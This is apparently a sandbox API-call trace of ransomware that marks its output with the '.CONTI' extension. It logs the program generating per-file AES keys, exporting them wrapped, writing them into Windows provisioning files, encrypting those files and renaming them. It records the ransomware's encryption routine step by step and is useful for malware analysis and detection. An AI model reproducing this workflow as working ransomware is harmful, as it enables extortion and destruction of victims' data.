	[0112.154] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.154] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\496__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\496__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.158] GetProcessHeap () returned 0x1720000
	[0112.158] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.158] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0112.158] GetProcessHeap () returned 0x1720000
	[0112.158] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17de588 | out: hHeap=0x1720000) returned 1
	[0112.158] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0112.158] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x180e9f8 | out: phKey=0x180e9f8*=0x6b7f2b8) returned 1
	[0112.158] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x180e9fc, pdwDataLen=0x3f7fc54 | out: pbData=0x180e9fc*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0112.159] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\497__connections_cellular_t-mobile usa_ idt (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.159] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\497__connections_cellular_t-mobile usa_ idt (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0112.159] GetLastError () returned 0x0
	[0112.160] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=727) returned 1
	[0112.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7
	[0112.160] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.160] SetEndOfFile (hFile=0x398) returned 1
	[0112.160] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.160] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.160] WriteFile (in: hFile=0x398, lpBuffer=0x180e9fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x180e9fc*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.162] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.162] ReadFile (in: hFile=0x398, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2d7, lpOverlapped=0x0) returned 1
	[0112.162] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2d7, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2e0) returned 1
	[0112.162] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.162] WriteFile (in: hFile=0x398, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.162] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.162] WriteFile (in: hFile=0x398, lpBuffer=0x180e9f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x180e9f0*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0112.162] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.162] CloseHandle (hObject=0x398) returned 1
	[0112.162] GetProcessHeap () returned 0x1720000
	[0112.162] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.162] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml"
	[0112.162] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.162] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\497__connections_cellular_t-mobile usa_ idt (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\497__connections_cellular_t-mobile usa_ idt (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.163] GetProcessHeap () returned 0x1720000
	[0112.163] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.163] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0112.163] GetProcessHeap () returned 0x1720000
	[0112.163] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6575650 | out: hHeap=0x1720000) returned 1
	[0112.163] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0112.163] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x180ec40 | out: phKey=0x180ec40*=0x6b7f2b8) returned 1
	[0112.163] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x180ec44, pdwDataLen=0x3f7fc54 | out: pbData=0x180ec44*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0112.164] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\498__connections_cellular_t-mobile usa_ simple mobile (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.164] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\498__connections_cellular_t-mobile usa_ simple mobile (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0112.165] GetLastError () returned 0x0
	[0112.165] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=728) returned 1
	[0112.165] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d8
	[0112.165] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.165] SetEndOfFile (hFile=0x398) returned 1
	[0112.165] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.165] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.165] WriteFile (in: hFile=0x398, lpBuffer=0x180ec44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x180ec44*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.167] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.167] ReadFile (in: hFile=0x398, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2d8, lpOverlapped=0x0) returned 1
	[0112.167] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2d8, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2e0) returned 1
	[0112.167] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.167] WriteFile (in: hFile=0x398, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.167] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.167] WriteFile (in: hFile=0x398, lpBuffer=0x180ec38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x180ec38*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0112.167] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.810] CloseHandle (hObject=0x398) returned 1
	[0112.822] GetProcessHeap () returned 0x1720000
	[0112.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.760] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml"
	[0113.760] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.760] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\498__connections_cellular_t-mobile usa_ simple mobile (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\498__Connections_Cellular_T-Mobile USA_ Simple Mobile (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\498__connections_cellular_t-mobile usa_ simple mobile (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.760] GetProcessHeap () returned 0x1720000
	[0113.760] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.760] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0113.760] GetProcessHeap () returned 0x1720000
	[0113.760] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65757b8 | out: hHeap=0x1720000) returned 1
	[0113.761] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0113.761] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b524c8 | out: phKey=0x6b524c8*=0x17c8370) returned 1
	[0113.761] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b524cc, pdwDataLen=0x3f7fc54 | out: pbData=0x6b524cc*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0113.762] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.762] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0113.762] GetLastError () returned 0x0
	[0113.762] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=698) returned 1
	[0113.762] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ba
	[0113.762] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.762] SetEndOfFile (hFile=0x3e8) returned 1
	[0113.762] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.762] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.762] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b524cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x6b524cc*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.767] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.767] ReadFile (in: hFile=0x3e8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2ba, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2ba, lpOverlapped=0x0) returned 1
	[0113.767] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2ba, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2c0) returned 1
	[0113.767] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.767] WriteFile (in: hFile=0x3e8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.767] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.767] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b524c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x6b524c0*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0113.767] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.768] CloseHandle (hObject=0x3e8) returned 1
	[0113.768] GetProcessHeap () returned 0x1720000
	[0113.768] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.768] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml"
	[0113.768] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.768] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\656__Connections_Cellular_AIS (Thailand)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\656__connections_cellular_ais (thailand)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.768] GetProcessHeap () returned 0x1720000
	[0113.769] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.769] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0113.769] GetProcessHeap () returned 0x1720000
	[0113.769] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c51b0 | out: hHeap=0x1720000) returned 1
	[0113.769] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0113.769] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x6b449c8 | out: phKey=0x6b449c8*=0x17c8370) returned 1
	[0113.769] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b449cc, pdwDataLen=0x3f7fc54 | out: pbData=0x6b449cc*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0113.769] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.770] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0113.770] GetLastError () returned 0x0
	[0113.770] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=712) returned 1
	[0113.770] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0113.770] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
